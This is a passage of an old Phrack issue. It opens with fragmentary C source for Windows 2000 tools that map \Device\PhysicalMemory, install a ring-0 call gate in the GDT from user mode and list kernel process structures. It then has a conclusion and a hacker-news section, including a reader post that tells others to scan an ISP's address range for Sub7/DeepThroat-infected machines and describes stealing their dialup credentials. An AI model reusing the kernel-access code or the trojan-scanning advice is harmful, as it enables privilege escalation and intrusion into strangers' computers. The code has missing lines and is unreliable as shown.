            printf ("%c", trans[data[dp]]);
         printf ("\n");
   if ((amount % 16) != 0) {
      p = dp = 16 - (amount % 16);
      for (dp = p; dp > 0; dp--) {
         printf ("   ");
         if (((dp % 8) == 0) && (p != 8))
            printf (" ");
      printf (" | ");
      for (dp = (amount - (16 - p)); dp < amount; dp++)
         printf ("%c", trans[data[dp]]);
   printf ("\n");
   return ;

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {
   if (vAddress < 0x80000000L || vAddress >= 0xA0000000L)
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

int InitSection(PHANDLE Section) {
   NTSTATUS          ntS;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
   // open \Device\PhysicalMemory
   ntS = NtOpenSection(Section,
   if (ntS != STATUS_SUCCESS) {
      printf(" * error NtOpenSection (code: %x)\n", ntS);

int main(int argc, char **argv) {
   NTSTATUS         ntS;
   ULONG            Address, Size, MappedSize, Offset;
   HANDLE           Section;
   PVOID            MappedAddress=NULL;
   SYSTEM_INFO      SysInfo;
   printf(" *** win2k memory dumper ***\n\n");
   if (argc != 3) {
      printf("usage: %s <address> <size>\n", argv[0]);
   Address = strtoul(argv[1], NULL, 0);
   MappedSize = Size = strtoul(argv[2], NULL, 10);
   printf(" Virtual Address       : 0x%.8x\n", Address);
   if (!Size) {
      printf("error: invalid size\n");
   // get allocation granularity information
   Granularity = SysInfo.dwAllocationGranularity;
   printf(" Allocation granularity: %lu bytes\n", Granularity);
   if (!InitSection(&Section))
   Offset = Address % Granularity;
   MappedSize += Offset; // reajust mapping view
   printf(" Offset                : 0x%x\n", Offset);
   pAddress = GetPhysicalAddress(Address - Offset);
   printf(" Physical Address      : 0x%.16x\n", pAddress);

   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress, 0L,
                            MappedSize, &pAddress, &MappedSize, ViewShare,
                            0, PAGE_READONLY);

   printf(" Mapped size           : %lu bytes\n", MappedSize);
   printf(" View size             : %lu bytes\n\n", Size);

   if (ntS == STATUS_SUCCESS) {
      hexdump((char *)MappedAddress+Offset, Size);
      NtUnmapViewOfSection((HANDLE) -1, MappedAddress);
   } else {
      if (ntS == 0xC00000F4L)
         printf("error: invalid physical address translation\n");
         printf("error: NtMapViewOfSection (code: %x)\n", ntS);


----[ 5.2 winkps.c

// code very messy but working :)
#include <stdio.h>
#include <windows.h>
#include "..\kmem.h"

// get this address from win2k symbols
#define PSADD    0x8046A180 // PsActiveProcessHead
// default base address for ntoskrnl.exe on win2k
#define BASEADD 0x7FFE0000 // MmGetPhysicalAddress
// max process, to prevent easy crashing
#define MAX_PROCESS 50

typedef struct _MY_CG {
   PHYSICAL_ADDRESS     pAddress;
   PVOID                MappedAddress;
   WORD                 Segment;
   WORD                 LastEntry;

ULONG         Granularity;
MY_CG         GdtMap;
MAPPING       CurMap;

PHYSICAL_ADDRESS (*MmGetPhysicalAddress) (PVOID BaseAddress);

void __declspec(naked) Ring0Func() {
   _asm {

      mov esi, CurMap.vAddress
      push esi
      call MmGetPhysicalAddress
      mov CurMap.pAddress, eax  // save low part of LARGE_INTEGER
      mov [CurMap+4], edx       // save high part of LARGE_INTEGER


// function which call the callgate
PHYSICAL_ADDRESS NewGetPhysicalAddress(PVOID vAddress) {
   WORD   farcall[3];
   HANDLE Thread = GetCurrentThread();

   farcall[2] = GdtMap.Segment;

   if(!VirtualLock((PVOID) Ring0Func, 0x30)) {
      printf("error: unable to lock function\n");
      CurMap.pAddress.QuadPart = 1;
   } else {
      CurMap.vAddress = vAddress; // ugly way to pass argument
      CurMap.Offset   = (DWORD) vAddress % Granularity;
      (DWORD) CurMap.vAddress -= CurMap.Offset;

      SetThreadPriority(Thread, THREAD_PRIORITY_TIME_CRITICAL);

      _asm call fword ptr [farcall]

      VirtualUnlock((PVOID) Ring0Func, 0x30);

PHYSICAL_ADDRESS GetPhysicalAddress(ULONG vAddress) {

    if (vAddress < 0x80000000L || vAddress >= 0xA0000000L) {
      add.QuadPart = (ULONGLONG) vAddress & 0xFFFF000;
   } else {
      add.QuadPart = (ULONGLONG) vAddress & 0x1FFFF000;

void UnmapMemory(PVOID MappedAddress) {
   NtUnmapViewOfSection((HANDLE) -1, MappedAddress);

int InstallCallgate(HANDLE Section, DWORD Function) {
   NTSTATUS             ntS;
   KGDTENTRY            gGdt;
   DWORD                Size;

   _asm sgdt gGdt;

   printf("virtual address of GDT : 0x%.8x\n",
          MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   GdtMap.pAddress =
              GetPhysicalAddress(MAKE_DWORD(gGdt.BaseLow, gGdt.BaseHigh));
   printf("physical address of GDT: 0x%.16x\n", GdtMap.pAddress.QuadPart);
   Size = gGdt.LimitLow;
   ntS = NtMapViewOfSection(Section, (HANDLE) -1, &GdtMap.MappedAddress,
                            0L, Size, &GdtMap.pAddress, &Size, ViewShare,
                            0, PAGE_READWRITE);
   if (ntS != STATUS_SUCCESS || !GdtMap.MappedAddress) {
      printf("error: NtMapViewOfSection (code: %x)\n", ntS);

   GdtMap.LastEntry = gGdt.LimitLow & 0xFFF8; // offset to last entry
   for(CgDesc = (PVOID) ((DWORD)GdtMap.MappedAddress+GdtMap.LastEntry),
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
       CgDesc--) {
      //printf("present:%x, type:%x\n", CgDesc->present, CgDesc->type);
      if(CgDesc->present == 0){
         CgDesc->offset_0_15  = (WORD) (Function & 0xFFFF);
         CgDesc->selector     = 8;
         CgDesc->param_count  = 0; //1;
         CgDesc->some_bits    = 0;
         CgDesc->type         = 12;     // 32-bits callgate junior :>
         CgDesc->app_system   = 0;      // A system segment
         CgDesc->dpl          = 3;      // Ring 3 code can call
         CgDesc->present      = 1;
         CgDesc->offset_16_31 = (WORD) (Function >> 16);
         GdtMap.Desc = CgDesc;


   if (GdtMap.Desc == NULL) {
      printf("error: unable to find free entry for installing callgate\n");
      printf("       not normal by the way .. your box is strange =]\n");

   GdtMap.Segment =
      ((WORD) ((DWORD) CgDesc - (DWORD) GdtMap.MappedAddress))|3;
   printf("Allocated segment      : %x\n", GdtMap.Segment);

int UninstallCallgate(HANDLE Section, DWORD Function) {

   for(CgDesc = (PVOID) ((DWORD) GdtMap.MappedAddress+GdtMap.LastEntry);
       (DWORD) CgDesc > (DWORD) GdtMap.MappedAddress;
      CgDesc--) {
      if((CgDesc->offset_0_15 == (WORD) (Function & 0xFFFF))
         && CgDesc->offset_16_31 == (WORD) (Function >> 16)){
         memset(CgDesc, 0, sizeof(CALLGATE_DESCRIPTOR));
   NtUnmapViewOfSection((HANDLE) -1, GdtMap.MappedAddress);

void UnmapVirtualMemory(PVOID vAddress) {
   NtUnmapViewOfSection((HANDLE) -1, vAddress);

PVOID MapVirtualMemory(HANDLE Section, PVOID vAddress, DWORD Size) {
   NTSTATUS         ntS;
   DWORD            MappedSize;
   PVOID            MappedAddress=NULL;

   //printf("* vAddress: 0x%.8x\n", vAddress);
   pAddress = NewGetPhysicalAddress((PVOID) vAddress);
   //printf("* vAddress: 0x%.8x (after rounding, offset: 0x%x)\n",
   //       CurMap.vAddress, CurMap.Offset);
   //printf("* pAddress: 0x%.16x\n", pAddress);

   // check for error (1= impossible value)
   if (pAddress.QuadPart != 1) {
      Size += CurMap.Offset; // adjust mapping view
      MappedSize = Size;

      ntS = NtMapViewOfSection(Section, (HANDLE) -1, &MappedAddress,
                         0L, Size, &pAddress, &MappedSize, ViewShare,
                         0, PAGE_READONLY);
      if (ntS != STATUS_SUCCESS || !MappedSize) {
         printf(" error: NtMapViewOfSection, mapping 0x%.8x (code: %x)\n",
                vAddress, ntS);
   } else
      MappedAddress = NULL;
   printf("mapped 0x%x bytes @ 0x%.8x (init Size: 0x%x bytes)\n",
         MappedSize, MappedAddress, Size);

void DisplayProcesses(HANDLE Section) {
   int i = 0;
   DWORD     Padding;
   PEPROCESS CurProcess, NextProcess;
   PVOID     vCurEntry, vOldEntry, NewMappedAddress;

   // first we map PsActiveProcessHead to get first entry
   vCurEntry = MapVirtualMemory(Section, PsActiveProcessHead, 4);
   if (!vCurEntry)
   PsCur = (PLIST_ENTRY) ((DWORD) vCurEntry + CurMap.Offset);
   // most of EPROCESS struct are located around 0xfc[e-f]00000
   // so we map 0x100000 bytes (~ 1mb) to avoid heavy mem mapping
   while (PsCur->Flink != PsActiveProcessHead && i<MAX_PROCESS) {
      NextProcess = (PEPROCESS) TO_EPROCESS(PsCur->Flink);
      //printf("==> Current process: %x\n", CurProcess);

      // we map 0x100000 bytes view so we store offset to EPROCESS
      Padding = TO_EPROCESS(PsCur->Flink) & 0xFFFFF;

      // check if the next struct is already mapped in memory
      if ((DWORD) vCurEntry<= (DWORD) NextProcess 
         && (DWORD)NextProcess+sizeof(EPROCESS)<(DWORD)vCurEntry+0x100000){
         // no need to remap
         // no remapping so we need to calculate the new address
         CurProcess = (PEPROCESS) ((DWORD) NewMappedAddress + Padding);

      } else {
         CurProcess = NextProcess;
         // unmap old view and map a new one
         // calculate next base address to map
         vOldEntry = vCurEntry;
         vCurEntry = (PVOID) (TO_EPROCESS(PsCur->Flink) & 0xFFF00000);

         //printf("link: %x, process: %x, to_map: %x, padding: %x\n",
         //    PsCur->Flink, TO_EPROCESS(PsCur->Flink),
         //    vCurEntry, Padding);

         // unmap old view
         vOldEntry = vCurEntry;
         // map new view
         vCurEntry = MapVirtualMemory(Section, vCurEntry, 0x100000);
         if (!vCurEntry)
         // adjust EPROCESS structure pointer
         CurProcess =
                 (PEPROCESS) ((DWORD) vCurEntry + CurMap.Offset + Padding);
         // save mapped address
         NewMappedAddress = vCurEntry;
         // restore pointer from mapped addresses space 0x4**** to
         // the real virtual address 0xf*******
         vCurEntry = vOldEntry;

      // reajust pointer to LIST_ENTRY struct
      PsCur = &CurProcess->ActiveProcessLinks;
      printf(" + %lu\t %s\n", CurProcess->UniqueProcessId,
             CurProcess->ImageFileName[0] ?
             CurProcess->ImageFileName : "[system]");


int main(int argc, char **argv) {
   SYSTEM_INFO       SysInfo;
   NTSTATUS          ntS;
   HANDLE            Section;
   HMODULE           hDll;
   INIT_UNICODE(ObString, L"\\Device\\PhysicalMemory");

   printf(" *** win2k process lister ***\n\n");

   Granularity = SysInfo.dwAllocationGranularity;
   printf("Allocation granularity: %lu bytes\n", Granularity);
                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

   hDll = LoadLibrary("ntoskrnl.exe");
   if (hDll) {
      MmGetPhysicalAddress = (PVOID) ((DWORD) BASEADD +
                    (DWORD) GetProcAddress(hDll, "MmGetPhysicalAddress"));
      printf("MmGetPhysicalAddress   : 0x%.8x\n", MmGetPhysicalAddress);

   ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE,
   if (ntS != STATUS_SUCCESS) {
      if (ntS == STATUS_ACCESS_DENIED)
         printf("error: access denied to open
                                      \\Device\\PhysicalMemory for r/w\n");
         printf("error: NtOpenSection (code: %x)\n", ntS);
      goto cleanup;

   if (!InstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

   memset(&CurMap, 0, sizeof(MAPPING));

   __try {
   } __except(UninstallCallgate(Section, (DWORD) Ring0Func), 1) {
      printf("exception: trying to clean callgate...\n");
      goto cleanup;

   if (!UninstallCallgate(Section, (DWORD) Ring0Func))
      goto cleanup;

   if (Section)

----[ 5.4 fun_with_ipd.c

#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include "..\kmem.h"

int main() {
   NTSTATUS          ntS;
   HANDLE            SymLink, Section;
   INIT_UNICODE(ObName, L"\\Device\\PhysicalMemory");
   INIT_UNICODE(ObNewName, L"\\??\\hack_da_ipd");

                              OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,

   ntS = NtCreateSymbolicLinkObject(&SymLink, SYMBOLIC_LINK_ALL_ACCESS,
                                    &ObAttributes, &ObName);
   if (ntS != STATUS_SUCCESS) {
      printf("error: NtCreateSymbolicLinkObject (code: %x)\n", ntS);

   ntS = NtOpenSection(&Section, SECTION_MAP_READ, &ObAttributes);
   if (ntS != STATUS_SUCCESS)
      printf("error: NtOpenSection (code: %x)\n", ntS);
   else {
      printf("\\Device\\PhysicalMemory opened !!!\n");
   // now you can do what you want


--[ 6 - Conclusion

I hope this article helped you to understand the base of Windows kernel
objects manipulation. As far as i know you can do as much things as you can
with linux's /dev/kmem so there is no restriction except your imagination
I also hope that this article will be readen by Linux dudes.

Thankx to CNS, u-n-f and subk dudes, ELiCZ for some help and finally
syn/ack oldschool people (wilmi power) =]

--[ 7 - References

[1] Sysinternals -
[2] Microsoft DDK -
[3] unofficial ntifs.h -
[5] Intel IA-32 Software Developper manual -
[6] Pedestal Software -
[7] BindView's RAZOR -
[8] Open Systems Resources -
[9] MSDN -

  * Undocumented Windows 2000 Secrets, A Programmer's Cookbook
  * Inside Microsoft Windows 2000, Third Edition
  * Windows NT/2000 Native API Reference

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3a, Phile #0x11 of 0x12

|=----------------=[ P H R A C K  W O R L D  N E W S ]=------------------=|
|=---------------------------=[ phrackstaff ]=---------------------------=|

Content in Phrack World News does not reflect the opinion of any particluar
Phrack Staff member.  PWN is exclusively done by the scene and for the

  0x01: Life sentence for hackers
  0x02: Newest IT Job Title: Chief Hacking Officer
  0x03: Download Sites Hacked, Source Code Backdoored
  0x04: Mitnick testimony burns Sprint in Vegas 'vice hack' case
  0x05: Feds may require all email to be kept by ISP's
  0x06: BT OpenWorld silent over infection / Customers still clueless
  0x07: DeCCS is Free Speech - CSS reverse engineer Jon Johansen set free!
  0x08: Gnutella developer Gene Kan, 25, commits suicide

|=[ 0x01 - Life sentence for hackers ]=----------------------------------=|

July 15, 2002

WASHINGTON - The House of Representatives on Monday overwhelmingly approved
a bill that would allow for life prisin sentences for computer hackers.

CNET writes that the bill has been approved by a 385-3 vote. The same bill
expands police/agency ability to conduct Internet or telephone
eavesdropping _without_ first obtainin a court order. The Cyber Security
Enhancement Act (CSEA), the most wide-ranging computer crime bill to make
its way through Congress in years, now heads to the Senate. It's not
expected to encounter nay serious opposition.

"A mouse can be just as dangerous as a bullet or a bomb." said Lamar Smith
of R-Tex.

Another section of CSEA would permit Internet providers to disclose the
contents of e-mail messages and other electronic records (IRC, http, ..)
to police.

The Free Congress Foundation, which opposes CSEA, criticized Monday
evening's vote.

"Congress should stop chipping away at our civil liberties," sai Brad
Jansen, an analyst at the conservative group. "A good place to start would
be to substantially revise (CSEA) to increase, not diminish, oversight
and accountability by the government.".,1283,50363,00.html [<---- check it out!]

|=[ 0x02 - Newest IT Job Title: Chief Hacking Officer ]=-----------------=|

By Jay Lyman
NewsFactor Network

Companies seeking to ensure they are as impervious as possible to the
latest computer viruses and to the Internet's most talented hackers often
find themselves in need of -- the Internet's most talented hackers.

Some of these so-called "white-hat" hackers hold high positions in various
enterprises, including security companies, but analysts told NewsFactor
that they rarely carry the actual title "chief hacking officer" because
companies tend to be a bit skittish about the connotation.

Still, some security pros -- such as Aliso Viejo, California-based Eeye
Security's Marc Maiffret -- do carry the "CHO" title, and few argue the
point that in order to protect themselves from the best hackers and
crackers, companies need to hire them.

Hidden Hiring

SecurityFocus senior threat analyst Ryan Russell told NewsFactor that while
only a handful of companies actually refer to their in-house hacker as
"chief hacking officer," many companies are hiring hackers and giving them
titles that are slightly less indicative of their less socially acceptable

"A large number of people who used to do that sort of thing end up working
in security," Russell said.  "There are some companies out there
specifically saying, 'We do not hire hackers, we are against that,' but
really they are [hiring them]."

Russell said that while there is definitely an increased emphasis on
security since last year's disastrous terrorist attacks, deflation of the
dot-com bubble has resulted in consolidation among security personnel and a
reduction in the number of titles that are obviously associated with

Born To Hack

Russell noted that hackers legitimately working in IT are usually
involved in penetration testing.

While companies are uncomfortable hiring IT security personnel with prior
criminal records, there are advantages to hiring an experienced hacker,
even if the individual has used an Internet "handle" associated with
so-called "black-hat" hackers.
Still, Russell said, "I think in very few cases do people with the
reputation of a hacker or black-hat [get hired]."
One such person who was hired is Cambridge, Massachusetts-based security
company @Stake's chief scientist, Peiter "Mudge" Zatko -- well-known hacker
and security expert who has briefed government officials, addressed
industry forums and authored an NT password auditing tool.

Regular Workers

Regardless of whether they wear a white hat or a black one, Russel said it
takes more than good hacking skills to land a legitimate job.

"You want someone who does [penetrations] for a living," Russell said of
penetration testers.  "You want them to be good at giving you the
information you need."

Russell added that while some hackers hold chief technical officer or
equivalent positions, the rule of fewer managers and more employees means
there are probably more hackers working in regular jobs than in management.

Checking References

Forrester (Nasdaq: FORR) analyst Laura Koetzle told NewsFactor that
companies will not hire anyone convicted of a computer crime, but they will
seek out hackers, particularly for penetration testing.

"They won't have a title of chief hacking officer, and they haven't
necessarily broken any laws, but they're still skilled at this stuff," she

Koetzle said many companies avoid the issue of checking the backgrounds of
former hackers by using services firms, such as PricewaterhouseCoopers or
Deloitte & Touche, to hire such personnel.

Extortion and Employment

But hiring hackers can backfire.

Russell said cases of extortion range from blatant attempts at blackmail --
demanding money to prevent disclosure of customer data or security
vulnerabilities -- to more subtle efforts, wherein hackers find holes,
offer a fix and add a request for a job.
According to Koetzle, despite the desire to keep security breaches quiet,
companies must resist attempts on the part of potential hacker-hires to
extort money or work in computer security.                                                                                

"I would strongly caution against dealing with that type of hacker,"
Koetzle said.  "It absolutely does happen, but it's absolutely the wrong
thing to do."

Right or wrong, however, it seems that the person best equipped to ferret
out a hacker is another hacker.  So, as unsavory as it may seem, the better
the hacker, the more likely he or she is to join the square world as chief
hacking officer.

|=[ 0x03 - Download Sites Hacked, Source Code Backdoored ]=--------------=|

By Brian McWilliams

When source code to a relatively obscure, Unix-based Internet Relay Chat
(IRC) client was reported to be "backdoored", security professionals
collectively yawned.

But last week, when three popular network security programs were reported
to be similarly compromised, security experts sat up and took notice.

Now, it appears that the two hacking incidents may have been related.

According to programmer Dug Song, the source code to Dsniff, Fragroute, and
Fragrouter security tools was contaminated on May 17th after an attacker
gained unauthorized access to his site,

In an interview today, Song said affected users are being contacted, but he
declined to provide details of the compromise, citing an ongoing

When installed on a Unix-based machine, the modified programs open a
backdoor accessible to a remove server hosted by RCN Corporationm according
to an experpt of the contaminated Fragroute program posted Friday to
Bugtraq by Ansers Nordby of the Norwegian Unix User Group.

In another posting to the Bugtraq mailing list last Friday, Song reported
that nearly 2,000 copies of the booby-trapped security programs were
downloaded by unsuspecting Internet users before the malicious code was
discovered.  Only 800 of the downloads were from Unix-based machines,
according to Song.

Song's subsequent Bugtraq message said that intruders planted the
contaminated code at after successfully penetrating a machine
operated by one of the site's administrators.  The attackers exploited
"client-side hole that produced a shell to one of the local admin's
accounts," wrote Song in his message.

The exploit code planted at was nearly identical to a backdoor
program that was recently slipped by attackers into the source code of the
Irssi IRC chat client for Unix. It's is currently unclear why the attacker
used a backdoor that could easily be detected.

According to the notice posted May 25th at, someone "cracked" the
distribution site for the IRC program in mid-March and altered a
configuration script to include the back door.

New Precautions Implemented

Installing the compromised Irssi program provided a remove server hosted by
FastQ Communications with full shell access to the target machine, said the
notice.  Irssi's developer, Timo Sirainen, was not immediately available
for comment.

Today, the Web server at the Internet protocol address listed in the
backdoored Irssi code returned the message: "All your base are belong to

Meanwhile,, the collocated server listed in the backdoored code, today displayed the home of the Niuean Pop Cultural

When contacted by SecurityFocus Online, the site's administrator, Kim
Scarborough, said he was unaware that the machine had been used by the remote exploit.

Scarborough reported that he completely reinstalled the server's system
software, including the FreeBSD operating system, on May 30th after
discovering evidence that someone had hacked into it.

According to Scarborough, he had first installed the Irssi chat client on
the machine around May 17th at the request of a user.

The two security incidents have forced authors of the affected programs to
implement new measures to insure the authenticity of their downloadable

According to a page at Irssi describing the backdoor, new releases will be
signed with the GPG encryption tool, and the author will periodically
review the program for changes.

Song said that has implemented technology to restrict user
sessions, and that he is considering adding digital signatures to software
distributed at the site.

|=[ 0x04 - Mitnick testimony burns Sprint in Vegas 'vice hack' case ]=---=|

By Kevin Poulsen

Since adult entertainment operator Eddie Munoz first told state regulators
in 1994 that mercenary hackers were crippling his business by diverting,
monitoring and blocking his phone calls, officials at local telephone
company Sprint of Nevada have maintained that, as far as they know, their
systems have never suffered a single intrusion.

The Sprint subsidiary lost that innocence Monday when convicted hacker
Kevin Mitnick shook up a hearing on the call-tampering allegations by
detailing years of his own illicit control of the company's Las Vegas
switching systems, and the workings of a computerized testing system that
he says allows silent monitoring of any phone line served by the incumbent

"I had access to most, if not all, of the switches in Las Vegas," testified
Mitnick, at a hearing of Nevada's Public Utilities Commission (PUC).  "I
had the same privileges as a Northern Telecom technician."                                              

Mitnick's testimony played out like a surreal Lewis Carroll version of a
hacker trial -- with Mitnick calmly and methodically explaining under oath
how he illegally cracked Sprint of Nevada's network, while the attorney for
the victim company attacked his testimony, effectively accusing the
ex-hacker of being innocent.

The plaintiff in the case, Munoz, 43, is accusing Sprint of negligence in
allegedly allowing hackers to control their network to the benefit of a few
crooked businesses. Munoz is the publisher of an adult advertising paper
that sells the services of a bevy of in-room entertainers, whose phone
numbers are supposed to ring to Munoz's switchboard.  Instead, callers
frequently get false busy signals, or reach silence, Munoz claims.
Occasionally calls appear to be rerouted directly to a competitor.  Munoz's
complaints have been echoed by other outcall service operators, bail
bondsmen and private investigators -- some of whom appeared at two days of
hearings in March to testify for Munoz against Sprint.

Munoz hired Mitnick as a technical consultant in his case last year, after
SecurityFocus Online reported that the ex-hacker -- a onetime Las Vegas
resident -- claimed he had substantial access to Sprint's network up until
his 1995 arrest.  After running some preliminary tests, Mitnick withdrew
from the case when Munoz fell behind in paying his consulting fees.  On the
last day of the March hearings, commissioner Adriana Escobar Chanos
adjourned the matter to allow Munoz time to persuade Mitnick to testify, a
feat Munoz pulled-off just in time for Monday's hearing.

Mitnick admitted that his testing produced no evidence that Munoz is
experiencing call diversion or blocking. But his testimony casts doubt on
Sprint's contention that such tampering is unlikely, or impossible.  With
the five year statute of limitations long expired, Mitnick appeared
comfortable describing with great specificity how he first gained access
to Sprint's systems while living in Las Vegas in late 1992 or early 1993,
and then maintained that access while a fugitive.

Mitnick testified that he could connect to the control consoles -- quaintly
called "visual display units" -- on each of Vegas' DMS-100 switching
systems through dial-up modems intended to allow the switches to be
serviced remotely by the company that makes them, Ontario-based Northern
Telecom, renamed in 1999 to Nortel Networks.

Each switch had a secret phone number, and a default username and password,
he said.  He obtained the phone numbers and passwords from Sprint employees
by posing as a Nortel technician, and used the same ploy every time he
needed to use the dial-ups, which were inaccessible by default.                                               

With access to the switches, Mitnick could establish, change, redirect or
disconnect phone lines at will, he said.

That's a far cry from the unassailable system portrayed at the March
hearings, when former company security investigator Larry Hill -- who
retired from Sprint in 2000 -- testified "to my knowledge there's no way
that a computer hacker could get into our systems."  Similarly, a May 2001
filing by Scott Collins of Sprint's regulatory affairs department said that
to the company's knowledge Sprint's network had "never been penetrated or
compromised by so-called computer hackers."

Under cross examination Monday by PUC staff attorney Louise Uttinger,
Collins admitted that Sprint maintains dial-up modems to allow Nortel
remote access to their switches, but insisted that Sprint had improved
security on those lines since 1995, even without knowing they'd been                                       
compromised before.

But Mitnick had more than just switches up his sleeve Monday.

The ex-hacker also discussed a testing system called CALRS (pronounced
"callers"), the Centralized Automated Loop Reporting System. Mitnick                                           
first described CALRS to SecurityFocus Online last year as a system that
allows Las Vegas phone company workers to run tests on customer lines from
a central location.  It consists of a handful of client computers, and
remote servers attached to each of Sprint's DMS-100 switches.

Mitnick testified Monday that the remote servers were accessible through
300 baud dial-up modems, guarded by a technique only slightly more secure
than simple password protection: the server required the client -- normally
a computer program -- to give the proper response to any of 100 randomly
chosen challenges.  The ex-hacker said he was able to learn the Las Vegas
dial-up numbers by conning Sprint workers, and he obtained the "seed list"
of challenges and responses by using his social engineering skills on
Nortel, which manufactures and sells the system.

The system allows users to silently monitor phone lines, or originate calls
on other people's lines, Mitnick said.

Mitnick's claims seemed to inspire skepticism in the PUC's technical
advisor, who asked the ex-hacker, shortly before the hearing was to break
for lunch, if he could prove that he had cracked Sprint's network.  Mitnick
said he would try.

Two hours later, Mitnick returned to the hearing room clutching a crumpled,
dog-eared and torn sheet of paper, and a small stack of copies for the
commissioner, lawyers, and staff.

At the top of the paper was printed "3703-03 Remote Access Password List."
A column listed 100 "seeds", numbered "00" through "99," corresponding to a
column of four digit hexadecimal "passwords," like "d4d5" and "1554."

Commissioner Escobar Chanos accepted the list as an exhibit over the
objections of Sprint attorney Patrick Riley, who complained that it hadn't
been provided to the company in discovery.  Mitnick retook the stand and
explained that he used the lunch break to visit a nearby storage locker
that he'd rented on a long-term basis years ago, before his arrest.  "I
wasn't sure if I had it in that storage locker," said Mitnick.  "I hadn't
been there in seven years."

"If the system is still in place, and they haven't changed the seed list,
you could use this to get access to CALRS," Mitnick testified.  "The system
would allow you to wiretap a line, or seize dial tone."

Mitnick's return to the hearing room with the list generated a flurry of
activity at Sprint's table; Ann Pongracz, the company's general counsel,
and another Sprint employee strode quickly from the room -- Pongracz
already dialing on a cell phone while she walked.  Riley continued his
cross examination of Mitnick, suggesting, again, that the ex-hacker may
have made the whole thing up. "The only way I know that this is a Nortel
document is to take you at your word, correct?," asked Riley.  "How do we
know that you're not social engineering us now?"

Mitnick suggested calmly that Sprint try the list out, or check it with
Nortel.  Nortel could not be reached for comment.

|=[ 0x05 - Feds may require all email to be kept by ISP's ]=-------------=|

By Kelley Beaucar Vlahos
Fox News

WASHINGTON - It may sound like a plot device for a futuristic movie, but
the federal government may not be far from forcing Internet service
providers to keep copies of all e-mail exchanges in the interest of
homeland security.

The White House denied a Washington Post report Thursday alleging that the
Al Qaeda terrorist network is working on using online and stored data to
disrupt the workings of power grids, air traffic towers, dams, and other
infrastructure. But a White House official did acknowledge that Al Qaeda
has an interest in developing such abilities.

And it's that interest that has technology circles wondering if the
federal government is going to follow the European Union's lead in passing
legislation that would allow the government to mine data on customers saved
by ISPs.

Last month, the European Union passed a resolution that would require all
ISPs to store for up to seven years e-mail message headers, Web-surfing
histories, chat logs, pager records, phone and fax connections, passwords,
and more.

Already, Germany, France, Belgium, and Spain have drafted laws that comply
with the directive. Technology experts say the U.S. federal government may
try to do the same thing using the vast law enforcement allowances provided
under the USA Patriot Act.

"They drafted the Patriot Act to lower all of the thresholds for the
invasion of privacy," said Gene Riccoboni, a New York-based Internet
lawyer who said he has found loopholes in the anti-terror legislation
that could open up the possibility for an EU-style data retention provision.                                                

Under the Patriot Act signed into law in October, law enforcement needs as
little as an administrative subpoena to trace names, e-mail addresses,
types of Internet access individuals use, and credit card numbers used online.                                      
|=[ 0x06 - BT OPENWORLD silent over infection /Customers still clueless ]=|

From: "Bakb0ne"
Subject: [phrackstaff] WORLD NEWS / BT OPENWORLD silent over infection /
    Customers still clueless after nearly 2 yrs

    Btopenworld [1] have been notified to a problem with their Customers
computers being infected with the DEEPTHROAT, SUB7 and BO server files
(Available from [2]) The computers were infected by downloading and
installing BTOWs Dialler Software. Bt were aware of this fact around 18
months ago and the only thing they have done is replace the infected
download with a fresh copy of their software. 

    No customers have been notified and there are still hundreds of users
infected with the trojans. Just scan the Ip range 213.122.*.* using the
DeepThroat or Sub7 ip scanner and you will see for yourself...

    Oh.. one positive note is that BTOW have changed the way you pdate
Credit Card information. Previously you could simple use DT to do a
"RAS RIP" (steal dialup info), Go onto the BTOW account details section and
log-on. Sometimes you would have to enter D.O.B and mothers maiden name..
but with access to your victims machine this was never hard to get... 

    Before you all start going on about how LAME trojans are and only
Script-Kiddies use them, think about the damage they do and how popular
they are. The reason why I have been using the trojans mentioned above is
to see how many ppl are infected and what is posible to access with these
programs installed on a target puter...

    Oh and I always inform the ppl that they are infected and how to remove
the Trojan form their Machine..

Bakb0ne (

[1] Http://
[2] Http://

|=[ 0x07 - DeCCS is Free Speech ]=---------------------------------------=|

An appeals court in California has sided with DVD code crackers like
teenage computer whiz-kid Jon Johansen from Norway. The ruling is a kick in
the face of the multi-billion-dollar entertainment industry, which is
trying to protect its warez by censorship.

Jon Johansen, aslo known by the tabloid as DVD-Jon, ran into trouble when
he (with some friends) reverse-engineered the DVD codes and shared the
findings on the Internet. He was sued by some of the biggest names in the
entertainment industry when he made it harder for them to control viewing
videos and CDs.

The CSS algorithm was extremly weak, this made it easy to recover the keys
used by other DVD players, breaking the entire system.

|=[ 0x08 - Gnutella developer Gene Kan, 25, commits suicide ]=-----------=|

By Reuters

SAN FRANCISCO (REUTERS) - Gene Kan, one of the key programmers behind the
popular file-sharing technology known as Gnutella, has died in an apparent
suicide, officials said on Tuesday.  He was 25.

San Mateo County Coroner spokeswoman Sue Turner said Kan was found last
week at his northern California home.

"The cause of death was a perforating gunshot wound to the head," Tuner
said.  "It was a suicide."

A spokeswoman for Kan said he died on June 29 and was cremated on July 5.
Further details were being withheld at the request of the family.

Kan helped develop an open source version of the Gnutella protocol, which
marked a further step in popularizing the peer-to-peer file-sharing
revolution pioneered by the Napster song-swapping service.

|=[ EO PWN ]=------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x12 of 0x12

|=--------=[ P H R A C K   E X T R A C T I O N   U T I L I T Y ]=--------=|
|=--------------------------=[ phrackstaff ]=----------------------------=|

The Phrack Magazine Extraction Utility, first appearing in P50, is a
convenient way to extract code from textual ASCII articles.  It preserves
readability and 7-bit clean ASCII codes.  As long as there are no
extraneous "<++>" or <-->" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at


<++> extract/extract4.c !8e2bebc6

 *  extract.c by Phrack Staff and sirsyko
